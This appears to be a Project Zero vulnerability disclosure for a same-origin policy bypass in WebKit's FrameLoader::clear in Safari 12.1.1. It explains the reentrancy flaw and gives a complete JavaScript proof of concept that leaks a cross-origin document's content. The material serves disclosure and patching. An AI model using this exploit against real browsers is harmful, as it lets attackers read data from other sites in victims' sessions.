WebKit suffers from a same-origin policy bypass vulnerability in FrameLoader::clear.
68c6220522a24fcd9a591457a3c19b6f
WebKit: Same-Origin Policy bypass in FrameLoader::clear
VULNERABILITY DETAILS
```
void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
m_frame.editor().clear();
if (!m_needsClear)
return; // ***1***
m_needsClear = false;
if (m_frame.document()->pageCacheState() != Document::InPageCache) {
m_frame.document()->cancelParsing(); // ***2***
[...]
if (clearWindowProperties)
m_frame.windowProxy().setDOMWindow(newDocument->domWindow()); // ***3***
```
This bug is similar to https://bugs.chromium.org/p/project-zero/issues/detail?id=1162. In certain
circumstances, `Document::cancelParsing`[2], which is not guarded by `FrameNavigationDisabler`,
might fire the `readystatechanged` event handler. If the handler performs a synchronous document
load, the reentrant `clear` call for the new document will exit early[1] and won't update the
active global object of the page[3], so the new document will use the old (potentially
cross-origin) global object for JavaScript execution. An attacker can exploit it to partially leak
the content of the new document.
VERSION
WebKit revision 246877
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
```
<body>
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}
function waitForLoad() {
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.victim_frame.contentDocument.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 0);
</scrip` + 't>'));
}
window.onclick = () => {
victim_frame = document.body.appendChild(document.createElement('iframe'));
victim_frame.contentDocument.open();
victim_frame.contentDocument.onreadystatechange = () => {
victim_frame.contentDocument.onreadystatechange = null;
victim_frame.contentDocument.open();
audio = victim_frame.contentDocument.appendChild(document.createElement('audio'));
counter = 0;
victim_frame.contentDocument.onreadystatechange = () => {
if (++counter != 2) {
return;
}
victim_frame.contentWindow.func = function(value) {
alert('leaked: ' + value);
}
let a = victim_frame.contentDocument.createElement('a');
a.href = victim_url;
a.click();
waitForLoad();
};
audio.src = location + '?' + 'A'.repeat(10000) + Math.random();
victim_frame.contentDocument.close();
document.implementation.createHTMLDocument().adoptNode(audio);
};
victim_frame.src = 'javascript:\"\"';
}
victim_url = 'data:text/html,<body><script>func(\"secret value\")<\\/script></body>';
ext = document.body.appendChild(document.createElement('iframe'));
ext.src = victim_url;
</script>
</body>
```
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.
Found by: [email protected]